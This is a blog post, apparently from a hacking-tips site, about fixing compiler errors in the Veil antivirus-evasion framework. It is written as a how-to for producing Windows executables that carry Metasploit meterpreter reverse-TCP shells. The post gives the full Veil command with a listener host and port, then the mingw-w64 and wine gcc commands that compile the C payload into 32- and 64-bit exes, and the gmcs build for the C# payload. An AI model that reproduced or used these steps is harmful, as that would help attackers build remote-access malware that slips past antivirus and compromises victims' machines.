KNOX D3: Veil error

<div dir="ltr" style="text-align: left;" trbidi="on">As you know, <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">veil</a> is AV evasion framework for metasploit payload. On the 15th of every month, for the next year, at least one new payload module will be released.Yesterday they released two new payload.<br /><br /><ol style="text-align: left;"><li>pure windows/meterpreter/reverse_tcp stager, no shellcode</li><li>pure windows/meterpreter/reverse_tcp windows service stager compatible with psexec, no shellcode</li></ol><div style="text-align: left;"><br /></div><h3 style="text-align: left;">Compiler Error in c payloads:-</h3><div style="text-align: left;"><br /> Available c payloads:<br /><br />    VirtualAlloc                         Poor<br />    VoidPointer                         Poor<br />    meter_rev_tcp                     Excellent<br />    meter_rev_tcp_service        Excellent</div><div style="text-align: left;"></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-08bIyo4BEFamlTiVok6U2Dz1xCTwrPZWio8sjGVTLLWzg64kjzR3M2bZSisE-53nUOtyqeAGLugotS44P-f2ltpNrIUzqz-mU3YzWnS1ci3nF6K014EfKVhai2M3CLMf9iYCvBW9zdfa/s1600/2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="c/meter_rev_tcp" border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-08bIyo4BEFamlTiVok6U2Dz1xCTwrPZWio8sjGVTLLWzg64kjzR3M2bZSisE-53nUOtyqeAGLugotS44P-f2ltpNrIUzqz-mU3YzWnS1ci3nF6K014EfKVhai2M3CLMf9iYCvBW9zdfa/s320/2.PNG" title="meter_rev_tcp" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">I used c/meter_rev_tcp. After setting of LHOST & LPORT ; when i try to generate it ; i got error.<br /><a name="more"></a><br />sh: i686-w64-mingw32-gcc: command not found</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP5jr_GqvH3oig1o31nWlJZq6iBvUVckOBCLJtV-NDncSU_oS91vPcTvPgxmgbxZczAY1-v40yGH0Rd4sdeII-RrjEEqdPcpQX3n1UVWyILyjh_NJrcf7T4gp_YqDglw_z7jaQCd3C5fp3/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="i686-w64-mingw32-gcc" border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP5jr_GqvH3oig1o31nWlJZq6iBvUVckOBCLJtV-NDncSU_oS91vPcTvPgxmgbxZczAY1-v40yGH0Rd4sdeII-RrjEEqdPcpQX3n1UVWyILyjh_NJrcf7T4gp_YqDglw_z7jaQCd3C5fp3/s320/3.PNG" title="i686-w64-mingw32-gcc" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">Okay now we successfully generated payload file, but we get compiler error while compiling into cross-platform exe.<br /><br />Error clearly suggest that i686-w64-mingw32-gcc is not installed.The mingw-w64 project is a complete run-time environment for gcc to support binaries native to Windows 64-bit and 32-bit operating systems.In short, to compile the payload for 64 bit windows ; we have to install mingw-w64. </div><div style="text-align: left;"><br /></div><div style="text-align: left;">In case of 32 bit windows os , we can compile it,because when you setup veil environment mingw32 installed using wine.</div><h3 style="text-align: left;">Compile payload for 32 bit:-</h3><div style="text-align: left;"><br />root@bt:~# cd .wine/drive_c/MinGW/bin/<br /><br />root@bt:~/.wine/drive_c/MinGW/bin# wine mingw32-gcc.exe /root/veil-output/source/output.c -lwsock32  -o output.exe</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVXRoKMM46agPjGBBunsxlSs_56hcXLVdsSmnK7bTtUj7A4zOed1VnWMqPt20_dgIkxKek6gM2xejuVQM7DiX3yYIauv9lLGx6x7wZ37C0zpJMoFZlQs5UD-hi-KmUc1tZh5ameMpkpltY/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="mingw32-gcc" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVXRoKMM46agPjGBBunsxlSs_56hcXLVdsSmnK7bTtUj7A4zOed1VnWMqPt20_dgIkxKek6gM2xejuVQM7DiX3yYIauv9lLGx6x7wZ37C0zpJMoFZlQs5UD-hi-KmUc1tZh5ameMpkpltY/s1600/1.PNG" title="mingw32-gcc" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;"></div><div style="text-align: left;">So our payload is compiled into exe for 32 bit windows.</div><h3 style="text-align: left;">Compile payload for 64 bit:-</h3><div style="text-align: left;"><br />For this purpose you have to install mingw32-w64. <br /><br />Download from <a href="http://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/" target="_blank">here</a> & build it.If you don`t want to install it; then you can use pre-compiled <a href="http://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win64/Personal%20Builds/sezero_4.4_20111031/" target="_blank">version</a>.<br /><br />root@bt:/media/tools/mingw-w64-bin_i686-linux_20111031_sezero/cross_win64/bin# ./x86_64-w64-mingw32-gcc /root/veil-output/source/output.c -lwsock32 -o output.exe<br /><br />I don`t test compiled exe  in 64 bit, so if anyone use it, please let me know exe is working or not.<br /><br />If you want to build MinGW-w64 for Win32 and Win64 using automated bash script, <a href="http://ffmpeg.zeranoe.com/blog/?p=269">click here. </a></div><h3 style="text-align: left;">Compiler error in C#:-</h3><div style="text-align: left;"><span style="font-weight: normal;">Available c# payloads:</span></div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"></div><div style="text-align: left;">    VirtualAlloc                   Poor<br />    b64SubVirtualAlloc       Normal</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXUV7jC49hHyFIJaucXM7c2UgNGgt__9Wfd_29LnGzI-uz2Sl8btIWHFVpP-tigCs0OFwrRJd5jl9ypGsEHbtvFrytp2byQOQaSRGLGZ5RFiXqBIHNx6TkxvPR1YJ9Zq1uhrqC_ZiMVSe/s1600/5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="b64SubVirtualAlloc" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggXUV7jC49hHyFIJaucXM7c2UgNGgt__9Wfd_29LnGzI-uz2Sl8btIWHFVpP-tigCs0OFwrRJd5jl9ypGsEHbtvFrytp2byQOQaSRGLGZ5RFiXqBIHNx6TkxvPR1YJ9Zq1uhrqC_ZiMVSe/s1600/5.PNG" title="b64SubVirtualAlloc" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">root@bt:~/Downloads/Veil-master# ./Veil.py -l c# -p b64SubVirtualAlloc --msfpayload windows/meterpreter/reverse_tcp -o payload --msfoptions LHOST=192.168.56.101 LPORT=443<br /><br />Our source file has been generated and got following error.<br />error CS2007: Unrecognized command-line option: `-platform:x86'</div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgraVWk6pPWrEWLXdQdDD2KrazPXJqyHHvFtUdzwSr2k_4WE9HdK__C_tnZNh3cJ8vBtlUUk3q00rvQunF16qezrT1EwWzbWYcvj-nJ6bbFdrzkzlKKktvoX5K_jM6lCmwOGCMWqHZgwvMM/s1600/6.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="error CS2007" border="0" height="110" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgraVWk6pPWrEWLXdQdDD2KrazPXJqyHHvFtUdzwSr2k_4WE9HdK__C_tnZNh3cJ8vBtlUUk3q00rvQunF16qezrT1EwWzbWYcvj-nJ6bbFdrzkzlKKktvoX5K_jM6lCmwOGCMWqHZgwvMM/s320/6.PNG" title="error CS2007" width="320" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;">gmcs /root/veil-output/source/payload.cs </div><div style="text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhftZLkY76ZwVkSoP0sWU5cfhrqZffm0lTZSiI2qf0ShvTRSBwmaHrMCTkO7JYcaS9HCOs7VlxdlVA3JxKdP-8DBCnRMcApq4Nmms8D9FrZ7djM8lWShv5_VRQejksMMAoTiyozOidtiXHj/s1600/4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="error CS2007" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhftZLkY76ZwVkSoP0sWU5cfhrqZffm0lTZSiI2qf0ShvTRSBwmaHrMCTkO7JYcaS9HCOs7VlxdlVA3JxKdP-8DBCnRMcApq4Nmms8D9FrZ7djM8lWShv5_VRQejksMMAoTiyozOidtiXHj/s1600/4.PNG" title="error CS2007" /></a></div><div style="text-align: left;"><br /></div><div style="text-align: left;"></div><div style="text-align: left;">Now our exe is generated,it`s in same source folder.</div></div>

How to solve compile error in veil?

As you know, veil is AV evasion framework for metasploit payload. On the 15th of every month, for the next year, at least one new payload m...

+ Read more »